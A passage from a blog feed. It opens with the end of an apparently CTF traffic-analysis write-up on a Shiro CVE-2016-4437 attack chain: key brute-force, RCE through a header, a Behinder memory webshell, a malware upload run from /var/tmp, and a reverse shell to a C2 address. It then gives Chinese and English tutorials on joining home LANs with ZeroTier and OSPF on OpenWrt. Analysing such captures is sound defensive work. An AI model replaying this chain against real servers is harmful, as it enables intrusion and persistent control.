    participant Attacker as Attacker / C2 Server
    participant WebServer as Web App Layer (Shiro / Behinder WebShell)
    participant OS as Underlying System (Linux OS)

    rect rgb(240, 248, 255)
        note right of Attacker: Phase 1: Shiro Exploitation &amp;amp; RCE
        Attacker-&amp;gt;&amp;gt;WebServer: Continuous brute-force of rememberMe Cookie (CVE-2016-4437)
        WebServer--&amp;gt;&amp;gt;Attacker: 302 Redirect (Brute-force successful, AES Key obtained)
        Attacker-&amp;gt;&amp;gt;WebServer: Send RCE Payload (Commands via Authorization header)
        WebServer-&amp;gt;&amp;gt;OS: Spawn process to execute commands (whoami, ls -la, etc.)
        OS--&amp;gt;&amp;gt;WebServer: Return standard output (root, etc.)
        WebServer--&amp;gt;&amp;gt;Attacker: Return Base64 encrypted command results
    end

    rect rgb(255, 240, 245)
        note right of Attacker: Phase 2: Inject Memory-Shell &amp;amp; Post-Exploration
        Attacker-&amp;gt;&amp;gt;WebServer: POST request to inject Behinder memory-shell
        WebServer--&amp;gt;&amp;gt;Attacker: Return injection success indicator (-&amp;gt;|Success|&amp;lt;-)
        Attacker-&amp;gt;&amp;gt;WebServer: Access /favicondemo.ico, send AES encrypted Java Classes
        WebServer-&amp;gt;&amp;gt;OS: Read environment variables, network info, list /tmp &amp;amp; /var/tmp
        OS--&amp;gt;&amp;gt;WebServer: Return system status and file lists
        WebServer--&amp;gt;&amp;gt;Attacker: Return AES encrypted exploration results
    end

    rect rgb(240, 255, 240)
        note right of Attacker: Phase 3: Chunked Upload &amp;amp; Execution of Persistent Malware
        Attacker-&amp;gt;&amp;gt;WebServer: Multiple requests to upload ELF malware in chunks
        WebServer-&amp;gt;&amp;gt;OS: Append payload chunks to /var/tmp/out
        Attacker-&amp;gt;&amp;gt;WebServer: Send hash verification request
        WebServer-&amp;gt;&amp;gt;OS: Calculate MD5 hash of /var/tmp/out
        OS--&amp;gt;&amp;gt;WebServer: Verification successful
        WebServer--&amp;gt;&amp;gt;Attacker: Return hash confirming file integrity
        Attacker-&amp;gt;&amp;gt;WebServer: Send commands chmod +x out and ./out --aes-key ...
        WebServer-&amp;gt;&amp;gt;OS: Grant execute permissions and run malware with key parameter
    end

    rect rgb(255, 253, 230)
        note right of Attacker: Phase 4: TCP Reverse Connection &amp;amp; Deep Control
        OS-&amp;gt;&amp;gt;Attacker: Pyinstaller malware initiates TCP reverse connection to C2 (10.1.243.155:7788)
        Attacker-&amp;gt;&amp;gt;OS: Send AES-GCM encrypted commands (pwd, ls, echo)
        OS--&amp;gt;&amp;gt;Attacker: Return encrypted execution results (final output includes Flag)
    end
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Phase 1: Shiro Vulnerability Exploitation and RCE Verification&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The attacker successfully brute-forced the Apache Shiro AES key by sending GET requests containing &lt;code&gt;rememberMe&lt;/code&gt; cookies.&lt;/li&gt;
&lt;li&gt;Subsequently, the attacker used the &lt;code&gt;Authorization&lt;/code&gt; header to pass encrypted commands. The web server executed commands like &lt;code&gt;whoami&lt;/code&gt; and returned the Base64 encrypted result &lt;code&gt;root&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Phase 2: Implanting Memory Webshell and Initial Control&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The attacker sent a POST request to the &lt;code&gt;/&lt;/code&gt; path containing a Java class, successfully injecting a Behinder memory webshell, establishing the C2 channel on the &lt;code&gt;/favicondemo.ico&lt;/code&gt; path.&lt;/li&gt;
&lt;li&gt;The attacker sent AES-encrypted Java classes through this channel, using the web application layer to read the underlying system&apos;s environment variables, IP information (&lt;code&gt;172.18.0.2&lt;/code&gt;), and execute basic system commands (e.g., &lt;code&gt;ps -ef&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Phase 3: Malware Upload and Execution&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Through the webshell, the attacker used &lt;code&gt;blockIndex&lt;/code&gt; and &lt;code&gt;blockSize&lt;/code&gt; parameters to upload an ELF binary in chunks, appending it to &lt;code&gt;/var/tmp/out&lt;/code&gt;, and verified its hash (&lt;code&gt;a0275c1593af1adb&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;The attacker issued the shell command &lt;code&gt;chmod +x out&lt;/code&gt; to grant execution permissions and ran the malware on the underlying system using &lt;code&gt;./out --aes-key ...&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Phase 4: TCP Reverse Connection to Obtain Flag&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Once executed, the Python-based malware bypassed the web layer and actively initiated a TCP connection to the attacker&apos;s C2 server (&lt;code&gt;10.1.243.155:7788&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Both parties switched to AES-GCM encryption. The attacker issued remote control commands like &lt;code&gt;pwd&lt;/code&gt;, &lt;code&gt;ls&lt;/code&gt;, and &lt;code&gt;echo Congratulations&lt;/code&gt;, ultimately retrieving the Flag from the final response.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Overall, it was quite an interesting challenge.&lt;/p&gt;
</content:encoded></item><item><title>[整活向] 跨越 20km 的局域网: 在 OpenWrt 上使用 ZeroTier + OSPF 实现异地内网无感融合</title><link>https://blog.iyoroy.cn/posts/252/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/252/</guid><description>把相隔 20km 的两个家庭网络连起来：OpenWrt 用 ZeroTier 建立链路，BIRD 用 OSPF 交换各自的内网路由，实现不经 NAT 的跨网段访问。</description><pubDate>Tue, 10 Feb 2026 15:36:00 GMT</pubDate><content:encoded>&lt;h1&gt;起因&lt;/h1&gt;
&lt;p&gt;本来在配自己的 ZeroTier 大内网, 因为网络结构比较复杂, 所以采用 OSPF 而不是静态路由来配置内部路由.&lt;/p&gt;
&lt;p&gt;之前尝试给自家 OpenWrt 上配置 ZeroTier 但是一直没成功, 这两天重新拿出来折腾了一下发现是 OpenWrt 的配置问题, 修好之后和好朋友闲聊的时候就想到:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2026/02/2688666886.png&quot; alt=&quot;1-1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;说干就干, 开整(&lt;/p&gt;
&lt;h1&gt;基本信息&lt;/h1&gt;
&lt;h2&gt;本地&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;路由器系统: OpenWrt, &lt;code&gt;X-WRT 26.04_b202601250827&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;局域网 IPv4 前缀: &lt;code&gt;192.168.3.0/24&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;运营商: 合肥联通&lt;/li&gt;
&lt;li&gt;NAT 环境: NAT1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;对端&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;路由器系统: OpenWrt, &lt;code&gt;X-WRT 25.04_b202510240128 &lt;/code&gt;&lt;/li&gt;
&lt;li&gt;局域网 IPv4 前缀: &lt;code&gt;192.168.1.0/24&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;运营商: 合肥移动&lt;/li&gt;
&lt;li&gt;NAT 环境: NAT1&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;安装 ZeroTier 并使用自托管 Planet&lt;/h1&gt;
&lt;p&gt;我使用了 ZTNet 作为自托管 Controller , 搭建过程这里就不过多赘述了, 上网找一下就能找到.&lt;br /&gt;
我使用的 OpenWrt 版本已经开始使用 &lt;code&gt;apk&lt;/code&gt; 代替 &lt;code&gt;opkg&lt;/code&gt; 作为包管理器. 使用 &lt;code&gt;apk&lt;/code&gt; 可直接安装 zerotier-one:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apk add zerotier
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;完成后打开 &lt;code&gt;/etc/config/zerotier&lt;/code&gt; 可找到默认配置文件.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;config zerotier &apos;global&apos;
	# Sets whether ZeroTier is enabled or not
	option enabled 0
	# Sets the ZeroTier listening port (default 9993; set to 0 for random)
	#option port &apos;9993&apos;
	# Client secret (leave blank to generate a secret on first run)
	option secret &apos;&apos;
	# Path of the optional file local.conf (see documentation at
	# https://docs.zerotier.com/config#local-configuration-options)
	#option local_conf_path &apos;/etc/zerotier.conf&apos;
	# Persistent configuration directory (to perform other configurations such
	# as controller mode or moons, etc.)
	#option config_path &apos;/etc/zerotier&apos;
	# Copy the contents of the persistent configuration directory to memory
	# instead of linking it, this avoids writing to flash
	#option copy_config_path &apos;1&apos;

# Network configuration, you can have as many configurations as networks you
# want to join (the network name is optional)
config network &apos;earth&apos;
	# Identifier of the network you wish to join
	option id &apos;8056c2e21c000001&apos;
	# Network configuration parameters (all are optional, if not indicated the
	# default values are set, see documentation at
	# https://docs.zerotier.com/config/#network-specific-configuration)
	option allow_managed &apos;1&apos;
	option allow_global &apos;0&apos;
	option allow_default &apos;0&apos;
	option allow_dns &apos;0&apos;

# Example of a second network (unnamed as it is optional)
#config network
#	option id &apos;1234567890123456&apos;
#	option allow_managed &apos;1&apos;
#	option allow_global &apos;0&apos;
#	option allow_default &apos;0&apos;
#	option allow_dns &apos;0&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;按照需求修改一下:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;config zerotier &apos;global&apos;
    option enabled &apos;1&apos;              # 启用 ZeroTier 客户端服务
    option config_path &apos;/etc/zerotier&apos; # 持久化目录: 用于存放身份秘钥(identity)、Moon节点定义和网络设置
    option secret &apos;&apos;                # 秘钥留空: 首次启动会自动生成身份并存入 identity.secret 文件
    option copy_config_path &apos;1&apos;     # 保护闪存策略: 启动时将配置考入内存运行. 若设为 0, 则直接在 Flash 上读写

config network &apos;earth&apos;
    option id &apos;&amp;lt;network ID&amp;gt;&apos;        # 16位 ZeroTier 网络标识符
    option allow_managed &apos;1&apos;        # 允许接收控制器分配的 IP 地址、路由和标签
    option allow_global &apos;1&apos;         # 允许通过 ZeroTier 分配全球单播 IPv6 地址 (GUA)
    option allow_default &apos;0&apos;        # 允许 ZeroTier 接管默认网关(实现类似全局代理的效果) 
    option allow_dns &apos;1&apos;            # 允许接收并设置 ZeroTier 控制面板中配置的 DNS 服务器

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;关于 copy_config_path &apos;1&apos;&lt;/h2&gt;
&lt;p&gt;因为 ZeroTier 工作目录 &lt;code&gt;/var/lib/zerotier-one&lt;/code&gt; 在OpenWrt下属于 &lt;code&gt;tmpfs&lt;/code&gt; , 重启后这里的内容会被清空, 因此需要将 planet ,identity, network 等配置放到路由器的 Flash 存储中, 即 &lt;code&gt;config_path&lt;/code&gt; 配置的路径.&lt;br /&gt;
默认逻辑是启动的时候将配置的 &lt;code&gt;config_path&lt;/code&gt; 软链接到 &lt;code&gt;/var/lib/zerotier-one&lt;/code&gt; 实现配置持久化, 一切 &lt;code&gt;/var/lib/zerotier-one&lt;/code&gt; 下的读写操作都会被写入到 Flash. 但是问题就是 ZeroTier 的频繁读写会导致 Flash 寿命折损比较快.&lt;br /&gt;
而开启 &lt;code&gt;copy_config_path &apos;1&apos;&lt;/code&gt; 则会指定当 ZeroTier 启动的时候, 将 &lt;code&gt;config_path&lt;/code&gt; 中的配置直接复制到 &lt;code&gt;/var/lib/zerotier-one&lt;/code&gt;, 极大延长了路由器内部 Flash 的寿命, 但是问题是通过 &lt;code&gt;zerotier-cli&lt;/code&gt; 做的一些修改默认不会直接同步到 Flash, 因此不适合需要经常调整配置的使用场景.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;完成修改后使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/etc/init.d/zerotier start
/etc/init.d/zerotier enable
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;来启动 ZeroTier 并开启开机自启.&lt;/p&gt;
&lt;p&gt;第一次启动时若上面 &lt;code&gt;secret&lt;/code&gt; 配置项留空, 则会自动生成. 启动完成后将 &lt;code&gt;/var/lib/zerotier-one&lt;/code&gt; 下的所有文件复制到 &lt;code&gt;/etc/zerotier&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;将 Planet 文件下载到上面设置的 &lt;code&gt;config_path&lt;/code&gt; 中, 即 &lt;code&gt;/etc/zerotier&lt;/code&gt;. 完成后重启 ZeroTier:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/etc/init.d/zerotier restart
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即可. 接着去 ZeroTier Controller 控制台, 就能看到新设备接入了.&lt;/p&gt;
&lt;p&gt;接着可能需要允许 ZeroTier 流量通过防火墙, 这一步可参考网上其他教程. 我选择直接放行所有, NAT1下应该不会有太大问题.&lt;/p&gt;
&lt;h1&gt;安装并配置 Bird2&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;没想到 apk 里的 Bird2 是非常新的版本, 截止本文写作时间 &lt;code&gt;2026-02-10&lt;/code&gt;, apk 里的 Bird2 版本为 2.18&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;使用如下指令安装:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apk add bird2  # bird daemon 本体
apk add bird2c # birdc 指令
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为 OpenWrt 默认的 bird 配置文件存放在 &lt;code&gt;/etc/bird.conf&lt;/code&gt;, 而我习惯按照不同的功能分不同的文件夹实现模块化引用, 因此我选择将默认配置文件改到 &lt;code&gt;/etc/bird/bird.conf&lt;/code&gt;, 并在该文件夹下存放不同配置文件.&lt;br /&gt;
打开 &lt;code&gt;/etc/init.d/bird&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/sh /etc/rc.common
# Copyright (C) 2010-2017 OpenWrt.org

USE_PROCD=1
START=70
STOP=10

BIRD_BIN=&quot;/usr/sbin/bird&quot;
BIRD_CONF=&quot;/etc/bird.conf&quot;
BIRD_PID_FILE=&quot;/var/run/bird.pid&quot;

start_service() {
    mkdir -p /var/run
    procd_open_instance
    procd_set_param command $BIRD_BIN -f -c $BIRD_CONF -P $BIRD_PID_FILE
    procd_set_param file &quot;$BIRD_CONF&quot;
    procd_set_param stdout 1
    procd_set_param stderr 1
    procd_set_param respawn
    procd_close_instance
}

reload_service() {
    procd_send_signal bird
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改 &lt;code&gt;BIRD_CONF&lt;/code&gt; 值为 &lt;code&gt;/etc/bird/bird.conf&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- BIRD_CONF=&quot;/etc/bird.conf&quot;
+ BIRD_CONF=&quot;/etc/bird/bird.conf&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后新建 &lt;code&gt;/etc/bird&lt;/code&gt;文件夹, 之后的 OSPF 配置文件全都放在这里.&lt;/p&gt;
&lt;h1&gt;配置 OSPF&lt;/h1&gt;
&lt;p&gt;我的配置文件结构遵循如下规则:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;由 &lt;code&gt;/etc/bird/bird.conf&lt;/code&gt; 作为唯一入口点, 在这里定义一些基础的配置项, 如 Router ID, 过滤器网段, 接着由该文件引用其他子项的配置&lt;/li&gt;
&lt;li&gt;不同网络的配置放在不同的文件夹下, 如公网部分放在 &lt;code&gt;/etc/bird/inet/&lt;/code&gt;, DN42 部分放在 &lt;code&gt;/etc/bird/dn42/&lt;/code&gt;, 自己的内网部分放在 &lt;code&gt;/etc/bird/intra/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;不同的网络都由一个 &lt;code&gt;defs.conf&lt;/code&gt; 处理那些公共的函数 (类似于 Golang 开发时写的 utils? )&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因此最终的配置文件结构如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/bird/bird.conf&lt;/code&gt;: 配置文件入口点&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;define INTRA_ROUTER_ID = 100.64.0.100;
define INTRA_PREFIX_V4 = [ 100.64.0.0/16+, 192.168.0.0/16+ ]; # 允许被 OSPF 传递的 IPv4 前缀
define INTRA_PREFIX_V6 = [ fd18:3e15:61d0::/48+ ]; # 允许被 OSPF 传递的 IPv6 前缀

protocol device {
    scan time 10;
};

ipv4 table intra_table_v4; # 定义内部路由 IPv4 路由表
ipv6 table intra_table_v6; # 定义内部路由 IPv6 路由表

include &quot;intra/defs.conf&quot;;
include &quot;intra/kernel.conf&quot;;
include &quot;intra/ospf.conf&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的 RouterID 我直接拿的这台机器在 ZeroTier 内网的 IPv4 地址.
分表是为了后期如果要为这台机器接入 DN42, 分表会比较安全.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/bird/intra/defs.conf&lt;/code&gt;: 过滤器所用的函数&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;function is_intra_net4() {
    return net ~ INTRA_PREFIX_V4;
}

function is_intra_net6(){
    return net ~ INTRA_PREFIX_V6;
}

function is_intra_dn42_net4(){
    return net ~ [ 172.20.0.0/14+ ];
}

function is_intra_dn42_net6(){
    return net ~ [ fd00::/8+ ];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/bird/intra/kernel.conf&lt;/code&gt;: 将 OSPF 学习到的路由写入系统路由表&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;protocol kernel intra_kernel_v4 {
    kernel table 254;
    scan time 20;
    ipv4 {
        table intra_table_v4;
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            accept;
        };
    };
};

protocol kernel intra_kernel_v6 {
    kernel table 254;
    scan time 20;
    ipv6 {
        table intra_table_v6;
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            accept;
        };
    };
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/bird/intra/ospf.conf&lt;/code&gt;: OSPF 模块&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;protocol ospf v3 intra_ospf_v4 {
    router id INTRA_ROUTER_ID; # 指定 RouterID
    
    ipv4 {
        table intra_table_v4; # 指定路由表
        import where is_intra_dn42_net4() || is_intra_net4() &amp;amp;&amp;amp; source != RTS_BGP;
        export where is_intra_dn42_net4() || is_intra_net4() &amp;amp;&amp;amp; source != RTS_BGP;
    };

    include &quot;ospf/*&quot;;
};

protocol ospf v3 intra_ospf_v6 {
    router id INTRA_ROUTER_ID; # 指定 RouterID

    ipv6 {
        table intra_table_v6; # 指定路由表
        import where is_intra_dn42_net6() || is_intra_net6() &amp;amp;&amp;amp; source != RTS_BGP;
        export where is_intra_dn42_net6() || is_intra_net6() &amp;amp;&amp;amp; source != RTS_BGP;
    };

    include &quot;ospf/*&quot;;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/bird/intra/ospf/backbone.conf&lt;/code&gt;: OSPF 区域配置&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;area 0.0.0.0 {
    interface &quot;br-lan&quot; { stub; }; # 本地内网网卡
    interface &quot;zta7oqfzy6&quot; { # ZeroTier 网卡
        type broadcast;
        cost 100;
        hello 20;
    };
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;完成后使用:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/etc/init.d/bird start
/etc/init.d/bird enable
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;来启动 Bird 并开启开机自启.&lt;br /&gt;
如果没问题的话便可以使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;birdc s p
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看 Bird 状态. 如果不出意外的话等对方配置好应该能看到 OSPF 状态是 Running 了:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@X-WRT:/etc/bird# birdc s p
BIRD 2.18 ready.
Name       Proto      Table      State  Since         Info
device1    Device     ---        up     14:28:02.410  
intra_kernel_v4 Kernel     intra_table_v4 up     14:28:02.410  
intra_kernel_v6 Kernel     intra_table_v6 up     14:28:02.410  
intra_ospf_v4 OSPF       intra_table_v4 up     14:28:02.410  Running
intra_ospf_v6 OSPF       intra_table_v6 up     14:31:38.389  Running
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;在朋友那边也按照这套流程走一遍, 等双方都是 Running 状态, 就可以通过&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;birdc s r protocol intra_ospf_v4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看 OSPF 学到的路由. 发现已经可以正常学习到通过 ZeroTier 的通往对方的路由:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@X-WRT:/etc/bird# birdc s r protocol intra_ospf_v4
BIRD 2.18 ready.
Table intra_table_v4:
...
192.168.1.0/24       unicast [intra_ospf_v4 23:20:21.398] * I (150/110) [100.64.0.163]
	via 100.64.0.163 on zta7oqfzy6
...
192.168.3.0/24       unicast [intra_ospf_v4 14:28:02.511] * I (150/10) [100.64.0.100]
	dev br-lan
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 PC 上 Ping 朋友家的服务器也可以 Ping 通:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;iyoroy@iYoRoy-PC:~$ ping 192.168.1.103
PING 192.168.1.103 (192.168.1.103) 56(84) bytes of data.
64 bytes from 192.168.1.103: icmp_seq=1 ttl=63 time=54.3 ms
64 bytes from 192.168.1.103: icmp_seq=2 ttl=63 time=10.7 ms
64 bytes from 192.168.1.103: icmp_seq=3 ttl=63 time=15.2 ms
^C
--- 192.168.1.103 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 10.678/26.717/54.279/19.576 ms
iyoroy@iYoRoy-PC:~$ traceroute 192.168.1.103
traceroute to 192.168.1.103 (192.168.1.103), 30 hops max, 60 byte packets
 1  100.64.0.163 (100.64.0.163)  10.445 ms  9.981 ms  9.892 ms
 2  192.168.1.103 (192.168.1.103)  11.621 ms  10.994 ms  10.948 ms
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;正常打开网页测速都没有问题:
&lt;img src=&quot;./images/2026/02/596204778.png&quot; alt=&quot;2-1.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;总结&lt;/h1&gt;
&lt;p&gt;这一系列操作实际上实现了如下的网络结构:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flowchart TB
    %% === 样式定义 ===
    classDef phyNet fill:#e3f2fd,stroke:#1565c0,stroke-width:2px
    classDef virNet fill:#fff3e0,stroke:#ef6c00,stroke-width:2px,stroke-dasharray: 5 5
    classDef router fill:#333,stroke:#000,stroke-width:2px,color:#fff
    classDef ztCard fill:#f57c00,stroke:#e65100,stroke-width:2px,color:#fff,shape:rect
    classDef bird fill:#a5d6a7,stroke:#2e7d32,stroke-width:1px,color:#000
    
    classDef invisibleContainer fill:none,stroke:none,color:none

    %% === 物理层容器 ===
    subgraph Top_Physical_Layer [&quot; &quot;]
        direction LR 
        
        subgraph Left_Side [&quot;我家 (Node A)&quot;]
            direction TB
            L_Router[X-WRT Router A]:::router
            L_LAN[内网: 192.168.3.0/24]
            L_LAN &amp;lt;--&amp;gt; L_Router
        end

        subgraph Right_Side [&quot;朋友家 (Node B)&quot;]
            direction TB
            R_Router[X-WRT Router B]:::router
            R_LAN[内网: 192.168.1.0/24]
            R_LAN &amp;lt;--&amp;gt; R_Router
        end
    end

    %% === 虚拟层容器 ===
    subgraph Middle_Side [ZeroTier Virtual L2 Network]
        direction LR  

        subgraph ZT_Stack_A [我家 ZT接入]
            direction TB
            L_NIC(zt0: 100.64.0.x):::ztCard
            L_Bird(Bird OSPF):::bird
            L_NIC &amp;lt;-.- L_Bird 
        end

        subgraph ZT_Stack_B [朋友家 ZT接入]
            direction TB
            R_NIC(zt0: 100.64.0.y):::ztCard
            R_Bird(Bird OSPF):::bird
            R_NIC &amp;lt;-.- R_Bird 
        end
        
        L_NIC &amp;lt;==P2P Tunnel==&amp;gt; R_NIC
    end

    %% === 跨层连接 ===
    L_Router === L_NIC
    R_Router === R_NIC

    %% === 样式应用 ===
    class Left_Side,Right_Side phyNet
    class Middle_Side virNet
    class Top_Physical_Layer invisibleContainer
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最底层的 P2P 网络还是依靠 ZeroTier实现的, 不过使用 OSPF 内部寻路来让两边都可以直接路由到对方网段下的设备, 同时因为双方都能完整学习到对方的路由, 因此不需要使用任何的NAT, 双方也都能直接获取到对方的来源地址.&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;朋友视角&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.nanami.tech/archives/216/&quot;&gt;Linux 运维 - 新版 OpenWrt 基于 Bird 的 OSPF 组网实现 » Nanamiの电波发射塔&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>[Fun Experiment] A LAN Spanning 20km: Seamlessly Merging Remote Networks on OpenWrt Using ZeroTier + OSPF</title><link>https://blog.iyoroy.cn/posts/en-252/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-252/</guid><description>Connecting two home networks 20 km apart with ZeroTier on OpenWrt and OSPF in BIRD, exchanging LAN routes so devices can reach each other without NAT between the LANs.</description><pubDate>Tue, 10 Feb 2026 15:36:00 GMT</pubDate><content:encoded>&lt;h1&gt;Background&lt;/h1&gt;
&lt;p&gt;I was originally setting up my own ZeroTier &quot;big internal network&quot;. Because the network structure is relatively complex, I decided to use OSPF instead of static routes to configure internal routing.&lt;/p&gt;
&lt;p&gt;I had tried to configure ZeroTier on my home OpenWrt before but never succeeded. Recently, I took it out again to work on it and discovered it was a configuration issue with OpenWrt. After fixing it, I was chatting with a good friend and had an idea:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2026/02/2688666886.png&quot; alt=&quot;1-1.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Kagura iYoRoy: 02-10 14:49:05
Hey...

Kagura iYoRoy: 02-10 14:49:06
Then...

Kagura iYoRoy: 02-10 14:49:20
If you also set up OSPF on your router...

Kagura iYoRoy: 02-10 14:49:27
Our two home networks would be directly interconnected, huh? (
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s do it!&lt;/p&gt;
&lt;h1&gt;Basic Information&lt;/h1&gt;
&lt;h2&gt;Local Side&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Router OS: OpenWrt, &lt;code&gt;X-WRT 26.04_b202601250827&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;LAN IPv4 Prefix: &lt;code&gt;192.168.3.0/24&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;ISP: Hefei China Unicom&lt;/li&gt;
&lt;li&gt;NAT Environment: NAT1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Remote Side&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Router OS: OpenWrt, &lt;code&gt;X-WRT 25.04_b202510240128 &lt;/code&gt;&lt;/li&gt;
&lt;li&gt;LAN IPv4 Prefix: &lt;code&gt;192.168.1.0/24&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;ISP: Hefei China Mobile&lt;/li&gt;
&lt;li&gt;NAT Environment: NAT1&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Installing ZeroTier and Using a Self-Hosted Planet&lt;/h1&gt;
&lt;p&gt;I used ZTNet as the self-hosted Controller. The setup process won&apos;t be elaborated here as you can find it online.
The OpenWrt version I&apos;m using has started using &lt;code&gt;apk&lt;/code&gt; instead of &lt;code&gt;opkg&lt;/code&gt; as the package manager. Use &lt;code&gt;apk&lt;/code&gt; to install zerotier-one directly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apk add zerotier
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After completion, open &lt;code&gt;/etc/config/zerotier&lt;/code&gt; to find the default configuration file.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;config zerotier &apos;global&apos;
    # Sets whether ZeroTier is enabled or not
    option enabled 0
    # Sets the ZeroTier listening port (default 9993; set to 0 for random)
    #option port &apos;9993&apos;
    # Client secret (leave blank to generate a secret on first run)
    option secret &apos;&apos;
    # Path of the optional file local.conf (see documentation at
    # https://docs.zerotier.com/config#local-configuration-options)
    #option local_conf_path &apos;/etc/zerotier.conf&apos;
    # Persistent configuration directory (to perform other configurations such
    # as controller mode or moons, etc.)
    #option config_path &apos;/etc/zerotier&apos;
    # Copy the contents of the persistent configuration directory to memory
    # instead of linking it, this avoids writing to flash
    #option copy_config_path &apos;1&apos;

# Network configuration, you can have as many configurations as networks you
# want to join (the network name is optional)
config network &apos;earth&apos;
    # Identifier of the network you wish to join
    option id &apos;8056c2e21c000001&apos;
    # Network configuration parameters (all are optional, if not indicated the
    # default values are set, see documentation at
    # https://docs.zerotier.com/config/#network-specific-configuration)
